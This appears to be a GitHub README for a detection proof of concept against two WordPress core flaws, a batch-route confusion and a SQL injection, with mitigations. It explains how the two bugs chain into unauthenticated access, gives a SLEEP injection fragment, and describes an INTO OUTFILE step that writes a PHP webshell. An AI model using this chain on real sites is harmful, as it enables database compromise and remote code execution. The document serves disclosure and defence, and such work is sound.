WordPress REST API Batch Route Confusion + SQL Injection → RCE
July 18, 2026 · View on GitHub
Pre-authentication, unauthenticated, no plugins required. Works against a stock WordPress install via the REST API batch endpoint.
| CVE | CVE-2026-63030 (route confusion → RCE) + CVE-2026-60137 (SQLi) |
| GHSA | GHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf |
| Discoverer | Adam Kues — Assetnote / Searchlight Cyber (dubbed "wp2shell") |
| Affected | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (full RCE chain) · 6.8.0 – 6.8.5 (SQLi only) |
| Patched | 6.8.6, 6.9.5, 7.0.2, 7.1-beta2 |
| CVSS | Critical (RCE chain) / Moderate (SQLi standalone) |
| Researcher blog | https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ |
1. Overview
Two bugs in WordPress core, chainable into unauthenticated remote code execution:
- SQL injection in
WP_Querywhenauthor__not_inis a string rather than an array — theis_array()sanitisation guard is skipped and the raw value is interpolated into aNOT IN (...)clause. - Batch route confusion in
WP_REST_Server::serve_batch_request_v1()—WP_Errorsub-requests are pushed into$validation[]but not$matches[], causing a +1 index shift. Sub-request i ends up being dispatched with sub-request i+1's handler.
Neither bug alone is enough: the REST API sanitises author_exclude
(type: array, items: integer) before it reaches WP_Query, and the
batch endpoint rejects GET sub-requests (enum: POST, PUT, PATCH, DELETE). Chaining them through a double confusion bypasses both
defences and reaches the SQLi unauthenticated.
2. Root Causes
2.1 SQL injection — src/wp-includes/class-wp-query.php (CVE-2026-60137)
Vulnerable (6.9.4):
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // string → skipped
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
When author__not_in is a string the is_array() branch is skipped;
(array) "payload" evaluates to ["payload"]; implode(',', ...)
returns the raw string, which is interpolated straight into the SQL.
Fix (6.9.5): use wp_parse_id_list() which accepts any input shape
and returns a sanitised integer list.
2.2 Batch route confusion — src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)
// Validation loop
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] NOT appended
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// Dispatch loop — indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← off-by-one after a WP_Error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
A single WP_Error sub-request (e.g. malformed path) at position 0
shifts every subsequent entry by one. Request i is then dispatched
with request i+1's handler.
Fix (6.9.5): append $matches[] = $single_request; for the error
case as well. Additional hardening short-circuits rest_api_loaded() /
serve_request() while a dispatch is already in flight.
3. The Double-Confusion Chain
┌──────────────────────────────────────────────────────────────────────┐
│ OUTER batch (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] path = "/wp/v2/categories" → carries nested batch in body │
│ body = { "name": "x", │
│ "requests": [ INNER_BATCH ] } │
│ Validated against categories → "requests" field untouched │
│ [2] path = "/batch/v1" → batch handler → shifts onto [1] │
│ │
│ Outer shift: request[1] dispatched with request[2]'s handler = │
│ serve_batch_request_v1. The batch endpoint has NO │
│ permission_callback → fires unauthenticated. request[1]'s body │
│ was validated against the *categories* route, so the nested │
│ sub-requests were NEVER checked against the batch method enum → │
│ inner sub-requests may use GET. │
├──────────────────────────────────────────────────────────────────────┤
│ INNER batch (processed inside serve_batch_request_v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] GET /wp/v2/categories │
│ ?author_exclude=<SQLi_PAYLOAD> │
│ Validated against categories → author_exclude NOT sanitised │
│ [2] GET /wp/v2/posts → get_items handler → shifts to [1]│
│ │
│ Inner shift: inner[1] dispatched with inner[2]'s handler = │
│ WP_REST_Posts_Controller::get_items. The unsanitised string │
│ author_exclude is mapped to author__not_in and passed to │
│ WP_Query → SQL INJECTION. │
└──────────────────────────────────────────────────────────────────────┘
The resulting SQL fragment is:
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
SLEEP(N) fires once per matching post row, so the total delay is
roughly N × <number_of_published_posts> seconds.
From SQLi to RCE ("wp2shell")
The SELECT-only injection (no stacked queries, $wpdb uses
mysqli_query) still yields RCE on typical LAMP stacks when the MySQL
user has FILE privilege — which is the default on many shared hosters
and self-managed servers:
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
writes a PHP webshell into the web root, reachable at /x.php.
Alternative paths (no FILE privilege needed) include reading the
admin password hash via UNION/boolean blind SQLi and uploading a
malicious plugin through the authenticated admin UI.
4. Detection / PoC
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
The PoC performs two non-destructive tests:
| Test | Method | Safe? |
|---|---|---|
| Route confusion (CVE-2026-63030) | Structural — verifies inner request[1] (categories) is dispatched with the posts handler by checking the response body for post-only fields | Yes |
| SQLi (CVE-2026-60137) | Time-based blind — injects SLEEP(N) via author_exclude and measures latency vs. a benign baseline | Yes |
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/
# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3
# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only
# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color
Example output against a vulnerable 6.9.4 instance:
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
Double confusion active: outer level bypasses batch method enum,
inner level dispatches categories params with the posts handler.
[*] Time-based blind SQLi detection (SLEEP=3s)
baseline: 0.04s
payload: 9.07s (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).
No delay / no structural confusion ⇒ patched (6.8.6 / 6.9.5 / 7.0.2).
Requirements
- Python ≥ 3.9
requests(pip install requests)
5. Reproducing
The easiest way to reproduce is with the official Docker images (the auto-updater will have patched most live instances within hours of disclosure):
docker network create wp
docker run -d --name wp-db --network wp \
-e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
-e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
-e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
wordpress:6.9.4-php8.2
# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode weblog_title=T \
--data-urlencode user_name=admin \
--data-urlencode admin_password=adminpassword123 \
--data-urlencode admin_password2=adminpassword123 \
--data-urlencode pw_weak=1 \
--data-urlencode admin_email=admin@example.com \
--data-urlencode blog_public=0
python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3
For the INTO OUTFILE → RCE step, grant FILE privilege and ensure the
DB process can write to the web root (single-server LAMP, or a shared
volume in Docker):
GRANT FILE ON *.* TO 'wp'@'%';
6. Mitigation
- Update immediately to 6.8.6 / 6.9.5 / 7.0.2 (or newer).
WordPress auto-applies minor/security releases by default
(
WP_AUTO_UPDATE_CORE), so most live sites are already patched. - If you cannot update right now, block anonymous access to the batch
endpoint at the WAF / reverse-proxy level:
POST /wp-json/batch/v1POST /index.php?rest_route=/batch/v1
- Revoke
FILEprivilege from the WordPress DB user:REVOKE FILE ON *.* FROM 'wp_user'@'%'; - Ensure
secure_file_privis set (not empty):secure_file_priv = /var/lib/mysql-files
7. Timeline
| Date | Event |
|---|---|
| 2026-07-17 | WordPress 6.8.6 / 6.9.5 / 7.0.2 released |
| 2026-07-17 | GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf published |
| 2026-07-17 | Assetnote / Searchlight Cyber publishes "wp2shell" advisory + https://wp2shell.com checker |
8. References
- WordPress advisories
- Discoverer write-up
- Patch diff (6.9.4 → 6.9.5)
src/wp-includes/class-wp-query.phpsrc/wp-includes/rest-api.phpsrc/wp-includes/rest-api/class-wp-rest-server.php
- Checker site
9. Responsible Disclosure
This repository contains only a detection PoC — it uses time-based blind SQLi and structural response inspection. It does not extract data, write files, or attempt RCE. The vulnerability was already patched and publicly disclosed by WordPress and the original researcher before this code was published.
Use only against systems you own or are authorised to test.
Licence
MIT — see LICENSE.